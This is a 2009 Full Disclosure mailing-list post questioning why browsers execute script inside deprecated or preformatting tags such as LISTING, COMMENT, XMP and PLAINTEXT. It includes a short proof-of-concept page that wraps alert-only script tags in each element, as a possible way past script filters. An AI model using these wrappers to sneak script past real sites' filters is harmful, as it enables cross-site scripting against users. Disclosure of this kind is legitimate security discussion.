Full Disclosure: JS-Fun with HTML deprecated tags

JS-Fun with HTML deprecated tags

From: Malformation 0000000 <malformation () hotmail com>
Date: Sat, 14 Mar 2009 23:07:08 +1030





Sup FD peoples,

This has probably already been discussed before, but I'm still at a loss as to why PRE, listING and COMMENT allow 
scripts to be run. I know that PRE has been specifically stated that it will not block all tags, but since listING and 
COMMENT are now deprecated, why are browsers still allowing Javascript to be run from within them? Doesn't this pose a 
security vulnerability? I mean, the whole point to the COMMENT tag, is pretty self-explanatory in its name. I'm pretty 
sure I could google around for a few sites that block javascript being used, but throw them into a listING tag or a 
COMMENT tag and they'd probably run. Apologies if this has already been discussed...

-Malformation

Proof of concept:

<html>
<body>
<pre>
PRE
<script>alert("vuln!");</script>
</pre>

<listING>
LISTING
<script>alert("vuln!");</script>
</listING>

<XMP>
XMP
<script>alert("vuln!");</script>
</XMP>

<COMMENT>
COMMENT
<script>alert("vuln!");</script>
</COMMENT>

<PLAINTEXT>
PLAINTEXT
<script>alert("vuln!");</script>
</PLAINTEXT>

<code>
CODE
<script>alert("vuln!");</script>
</code>

</body>
</html>
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JS-Fun with HTML deprecated tags Malformation 0000000 (Mar 14)